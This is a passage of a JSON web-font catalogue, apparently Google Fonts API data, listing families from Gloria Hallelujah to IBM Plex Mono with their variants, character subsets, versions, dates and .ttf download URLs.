Hallelujah","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gloriahallelujah/v12/LYjYdHv3kUk9BMV96EIswT9DIbW-MLSy3TKEvkCF.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Goblin One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/goblinone/v10/CSR64z1ZnOqZRjRCBVY_TOcATNt_pOU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gochi Hand","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gochihand/v11/hES06XlsOjtJsgCkx1PkTo71-n0nXWA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Goldman","variants":["regular","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/goldman/v1/pe0uMIWbN4JFplR2LDJ4Bt-7G98.ttf","700":"http://fonts.gstatic.com/s/goldman/v1/pe0rMIWbN4JFplR2FI5XIteQB9Zra1U.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gorditas","variants":["regular","700"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gorditas/v8/ll8_K2aTVD26DsPEtQDoDa4AlxYb.ttf","700":"http://fonts.gstatic.com/s/gorditas/v8/ll84K2aTVD26DsPEtThUIooIvAoShA1i.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gothic A1","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"100":"http://fonts.gstatic.com/s/gothica1/v8/CSR74z5ZnPydRjlCCwlCCMcqYtd2vfwk.ttf","200":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCpOYKSPl6tOU9Eg.ttf","300":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCwOUKSPl6tOU9Eg.ttf","regular":"http://fonts.gstatic.com/s/gothica1/v8/CSR94z5ZnPydRjlCCwl6bM0uQNJmvQ.ttf","500":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCmOQKSPl6tOU9Eg.ttf","600":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCtOMKSPl6tOU9Eg.ttf","700":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC0OIKSPl6tOU9Eg.ttf","800":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlCzOEKSPl6tOU9Eg.ttf","900":"http://fonts.gstatic.com/s/gothica1/v8/CSR44z5ZnPydRjlCCwlC6OAKSPl6tOU9Eg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gotu","variants":["regular"],"subsets":["devanagari","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-04-21","files":{"regular":"http://fonts.gstatic.com/s/gotu/v1/o-0FIpksx3QOlH0Lioh6-hU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Goudy Bookletter 1911","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/goudybookletter1911/v10/sykt-z54laciWfKv-kX8krex0jDiD2HbY6I5tRbXZ4IXAA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Graduate","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/graduate/v8/C8cg4cs3o2n15t_2YxgR6X2NZAn2.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Grand Hotel","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/grandhotel/v8/7Au7p_IgjDKdCRWuR1azpmQNEl0O0kEx.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Grandstander","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD1-_D3jWttFGmQk.ttf","200":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD9--D3jWttFGmQk.ttf","300":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQDwG-D3jWttFGmQk.ttf","regular":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD1--D3jWttFGmQk.ttf","500":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD22-D3jWttFGmQk.ttf","600":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD4G5D3jWttFGmQk.ttf","700":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD7i5D3jWttFGmQk.ttf","800":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD9-5D3jWttFGmQk.ttf","900":"http://fonts.gstatic.com/s/grandstander/v2/ga6fawtA-GpSsTWrnNHPCSIMZhhKpFjyNZIQD_a5D3jWttFGmQk.ttf","100italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf95zrcsvNDiQlBYQ.ttf","200italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9ZzvcsvNDiQlBYQ.ttf","300italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9uTvcsvNDiQlBYQ.ttf","italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf95zvcsvNDiQlBYQ.ttf","500italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf91TvcsvNDiQlBYQ.ttf","600italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9OTzcsvNDiQlBYQ.ttf","700italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9ADzcsvNDiQlBYQ.ttf","800italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9ZzzcsvNDiQlBYQ.ttf","900italic":"http://fonts.gstatic.com/s/grandstander/v2/ga6ZawtA-GpSsTWrnNHPCSImbyq1fDGZrzwXGpf9TjzcsvNDiQlBYQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gravitas One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gravitasone/v10/5h1diZ4hJ3cblKy3LWakKQmaDWRNr3DzbQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Great Vibes","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/greatvibes/v8/RWmMoKWR9v4ksMfaWd_JN-XCg6UKDXlq.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Grenze","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/grenze/v2/O4ZRFGb7hR12BxqPm2IjuAkalnmd.ttf","100italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZXFGb7hR12BxqH_VpHsg04k2md0kI.ttf","200":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPN0MDkicWn2CEyw.ttf","200italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_Vrrky0SvWWUy1uW.ttf","300":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPU0ADkicWn2CEyw.ttf","300italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_VqPkC0SvWWUy1uW.ttf","regular":"http://fonts.gstatic.com/s/grenze/v2/O4ZTFGb7hR12Bxq3_2gnmgwKlg.ttf","italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZRFGb7hR12BxqH_WIjuAkalnmd.ttf","500":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPC0EDkicWn2CEyw.ttf","500italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_VrXkS0SvWWUy1uW.ttf","600":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPJ0YDkicWn2CEyw.ttf","600italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_Vr7li0SvWWUy1uW.ttf","700":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPQ0cDkicWn2CEyw.ttf","700italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_Vqfly0SvWWUy1uW.ttf","800":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPX0QDkicWn2CEyw.ttf","800italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_VqDlC0SvWWUy1uW.ttf","900":"http://fonts.gstatic.com/s/grenze/v2/O4ZQFGb7hR12BxqPe0UDkicWn2CEyw.ttf","900italic":"http://fonts.gstatic.com/s/grenze/v2/O4ZWFGb7hR12BxqH_VqnlS0SvWWUy1uW.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Grenze Gotisch","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-07-08","files":{"100":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5Lz5UcICdYPSd_w.ttf","200":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5rz9UcICdYPSd_w.ttf","300":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5cT9UcICdYPSd_w.ttf","regular":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5Lz9UcICdYPSd_w.ttf","500":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5HT9UcICdYPSd_w.ttf","600":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i58ThUcICdYPSd_w.ttf","700":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5yDhUcICdYPSd_w.ttf","800":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5rzhUcICdYPSd_w.ttf","900":"http://fonts.gstatic.com/s/grenzegotisch/v1/Fh4hPjjqNDz1osh_jX9YfjudpBJBNV5y5wf_k1i5hjhUcICdYPSd_w.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Griffy","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/griffy/v9/FwZa7-ox2FQh9kfwSNSEwM2zpA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gruppo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gruppo/v11/WwkfxPmzE06v_ZWFWXDAOIEQUQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gudea","variants":["regular","italic","700"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/gudea/v10/neIFzCqgsI0mp-CP9IGON7Ez.ttf","italic":"http://fonts.gstatic.com/s/gudea/v10/neILzCqgsI0mp9CN_oWsMqEzSJQ.ttf","700":"http://fonts.gstatic.com/s/gudea/v10/neIIzCqgsI0mp9gz26WGHK06UY30.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Gugi","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/gugi/v8/A2BVn5dXywshVA6A9DEfgqM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Gupter","variants":["regular","500","700"],"subsets":["latin"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/gupter/v2/2-cm9JNmxJqPO1QUYZa_Wu_lpA.ttf","500":"http://fonts.gstatic.com/s/gupter/v2/2-cl9JNmxJqPO1Qslb-bUsT5rZhaZg.ttf","700":"http://fonts.gstatic.com/s/gupter/v2/2-cl9JNmxJqPO1Qs3bmbUsT5rZhaZg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Gurajada","variants":["regular"],"subsets":["latin","telugu"],"version":"v9","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/gurajada/v9/FwZY7-Qx308m-l-0Kd6A4sijpFu_.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Habibi","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/habibi/v9/CSR-4zFWkuqcTTNCShJeZOYySQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Halant","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/halant/v8/u-490qaujRI2Pbsvc_pCmwZqcwdRXg.ttf","regular":"http://fonts.gstatic.com/s/halant/v8/u-4-0qaujRI2PbsX39Jmky12eg.ttf","500":"http://fonts.gstatic.com/s/halant/v8/u-490qaujRI2PbsvK_tCmwZqcwdRXg.ttf","600":"http://fonts.gstatic.com/s/halant/v8/u-490qaujRI2PbsvB_xCmwZqcwdRXg.ttf","700":"http://fonts.gstatic.com/s/halant/v8/u-490qaujRI2PbsvY_1CmwZqcwdRXg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Hammersmith One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/hammersmithone/v12/qWcyB624q4L_C4jGQ9IK0O_dFlnbshsks4MRXw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hanalei","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/hanalei/v11/E21n_dD8iufIjBRHXzgmVydREus.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Hanalei Fill","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/hanaleifill/v9/fC1mPYtObGbfyQznIaQzPQiMVwLBplm9aw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Handlee","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/handlee/v9/-F6xfjBsISg9aMakDmr6oilJ3ik.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Hanuman","variants":["regular","700"],"subsets":["khmer"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/hanuman/v14/VuJxdNvD15HhpJJBeKbXOIFneRo.ttf","700":"http://fonts.gstatic.com/s/hanuman/v14/VuJ0dNvD15HhpJJBQBr4HIlMZRNcp0o.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Happy Monkey","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/happymonkey/v9/K2F2fZZcl-9SXwl5F_C4R_OABwD2bWqVjw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Harmattan","variants":["regular","700"],"subsets":["arabic","latin","latin-ext"],"version":"v9","lastModified":"2020-12-02","files":{"regular":"http://fonts.gstatic.com/s/harmattan/v9/goksH6L2DkFvVvRp9XpTS0CjkP1Yog.ttf","700":"http://fonts.gstatic.com/s/harmattan/v9/gokpH6L2DkFvVvRp9Xpr92-HmNZEq6TTFw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Headland One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/headlandone/v8/yYLu0hHR2vKnp89Tk1TCq3Tx0PlTeZ3mJA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Heebo","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["hebrew","latin"],"version":"v9","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EiS2cckOnz02SXQ.ttf","200":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1ECSycckOnz02SXQ.ttf","300":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1E1yycckOnz02SXQ.ttf","regular":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EiSycckOnz02SXQ.ttf","500":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EuyycckOnz02SXQ.ttf","600":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EVyucckOnz02SXQ.ttf","700":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EbiucckOnz02SXQ.ttf","800":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1ECSucckOnz02SXQ.ttf","900":"http://fonts.gstatic.com/s/heebo/v9/NGSpv5_NC0k9P_v6ZUCbLRAHxK1EICucckOnz02SXQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Henny Penny","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/hennypenny/v8/wXKvE3UZookzsxz_kjGSfMQqt3M7tMDT.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Hepta Slab","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5jfbY5B0NBkz.ttf","200":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV5zfbY5B0NBkz.ttf","300":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvlL5zfbY5B0NBkz.ttf","regular":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvkV5zfbY5B0NBkz.ttf","500":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvkn5zfbY5B0NBkz.ttf","600":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvnL4DfbY5B0NBkz.ttf","700":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvny4DfbY5B0NBkz.ttf","800":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5HvmV4DfbY5B0NBkz.ttf","900":"http://fonts.gstatic.com/s/heptaslab/v8/ea8JadoyU_jkHdalebHvyWVNdYoIsHe5Hvm84DfbY5B0NBkz.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Herr Von Muellerhoff","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/herrvonmuellerhoff/v10/WBL6rFjRZkREW8WqmCWYLgCkQKXb4CAft3c6_qJY3QPQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Hi Melody","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/himelody/v8/46ktlbP8Vnz0pJcqCTbEf29E31BBGA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Hind","variants":["300","regular","500","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v11","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/hind/v11/5aU19_a8oxmIfMJaIRuYjDpf5Vw.ttf","regular":"http://fonts.gstatic.com/s/hind/v11/5aU69_a8oxmIRG5yBROzkDM.ttf","500":"http://fonts.gstatic.com/s/hind/v11/5aU19_a8oxmIfJpbIRuYjDpf5Vw.ttf","600":"http://fonts.gstatic.com/s/hind/v11/5aU19_a8oxmIfLZcIRuYjDpf5Vw.ttf","700":"http://fonts.gstatic.com/s/hind/v11/5aU19_a8oxmIfNJdIRuYjDpf5Vw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hind Guntur","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","telugu"],"version":"v7","lastModified":"2020-11-06","files":{"300":"http://fonts.gstatic.com/s/hindguntur/v7/wXKyE3UZrok56nvamSuJd_yGn1czn9zaj5Ju.ttf","regular":"http://fonts.gstatic.com/s/hindguntur/v7/wXKvE3UZrok56nvamSuJd8Qqt3M7tMDT.ttf","500":"http://fonts.gstatic.com/s/hindguntur/v7/wXKyE3UZrok56nvamSuJd_zenlczn9zaj5Ju.ttf","600":"http://fonts.gstatic.com/s/hindguntur/v7/wXKyE3UZrok56nvamSuJd_zymVczn9zaj5Ju.ttf","700":"http://fonts.gstatic.com/s/hindguntur/v7/wXKyE3UZrok56nvamSuJd_yWmFczn9zaj5Ju.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hind Madurai","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","tamil"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xu0e2p98ZvDXdZQIOcpqjfXaUnecsoMJ0b_g.ttf","regular":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xx0e2p98ZvDXdZQIOcpqjn8Y0DceA0OQ.ttf","500":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xu0e2p98ZvDXdZQIOcpqjfBaQnecsoMJ0b_g.ttf","600":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xu0e2p98ZvDXdZQIOcpqjfKaMnecsoMJ0b_g.ttf","700":"http://fonts.gstatic.com/s/hindmadurai/v6/f0Xu0e2p98ZvDXdZQIOcpqjfTaInecsoMJ0b_g.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hind Siliguri","variants":["300","regular","500","600","700"],"subsets":["bengali","latin","latin-ext"],"version":"v7","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwOs5juQtsyLLR5jN4cxBEoRDf44uEfKiGvxts.ttf","regular":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwTs5juQtsyLLR5jN4cxBEofJvQxuk0Nig.ttf","500":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwOs5juQtsyLLR5jN4cxBEoRG_54uEfKiGvxts.ttf","600":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwOs5juQtsyLLR5jN4cxBEoREP-4uEfKiGvxts.ttf","700":"http://fonts.gstatic.com/s/hindsiliguri/v7/ijwOs5juQtsyLLR5jN4cxBEoRCf_4uEfKiGvxts.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Hind Vadodara","variants":["300","regular","500","600","700"],"subsets":["gujarati","latin","latin-ext"],"version":"v7","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/hindvadodara/v7/neIQzCKvrIcn5pbuuuriV9tTSDn3iXM0oSOL2Yw.ttf","regular":"http://fonts.gstatic.com/s/hindvadodara/v7/neINzCKvrIcn5pbuuuriV9tTcJXfrXsfvSo.ttf","500":"http://fonts.gstatic.com/s/hindvadodara/v7/neIQzCKvrIcn5pbuuuriV9tTSGH2iXM0oSOL2Yw.ttf","600":"http://fonts.gstatic.com/s/hindvadodara/v7/neIQzCKvrIcn5pbuuuriV9tTSE3xiXM0oSOL2Yw.ttf","700":"http://fonts.gstatic.com/s/hindvadodara/v7/neIQzCKvrIcn5pbuuuriV9tTSCnwiXM0oSOL2Yw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Holtwood One SC","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/holtwoodonesc/v11/yYLx0hLR0P-3vMFSk1TCq3Txg5B3cbb6LZttyg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Homemade Apple","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/homemadeapple/v11/Qw3EZQFXECDrI2q789EKQZJob3x9Vnksi4M7.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Homenaje","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/homenaje/v10/FwZY7-Q-xVAi_l-6Ld6A4sijpFu_.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"IBM Plex Mono","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6pfjptAgt5VM-kVkqdyU8n3kwq0n1hj-sNFQ.ttf","100italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6rfjptAgt5VM-kVkqdyU8n1ioStndlre4dFcFh.ttf","200":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3uAL8ldPg-IUDNg.ttf","200italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSGlZFh8ARHNh4zg.ttf","300":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3oQI8ldPg-IUDNg.ttf","300italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSflVFh8ARHNh4zg.ttf","regular":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F63fjptAgt5VM-kVkqdyU8n5igg1l9kn-s.ttf","italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6pfjptAgt5VM-kVkqdyU8n1ioq0n1hj-sNFQ.ttf","500":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3twJ8ldPg-IUDNg.ttf","500italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSJlRFh8ARHNh4zg.ttf","600":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3vAO8ldPg-IUDNg.ttf","600italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSClNFh8ARHNh4zg.ttf","700":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6qfjptAgt5VM-kVkqdyU8n3pQP8ldPg-IUDNg.ttf","700italic":"http://fonts.gstatic.com/s/ibmplexmono/v6/-F6sfjptAgt5VM-kVkqdyU8n1ioSblJFh8ARHNh4zg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"IBM Plex 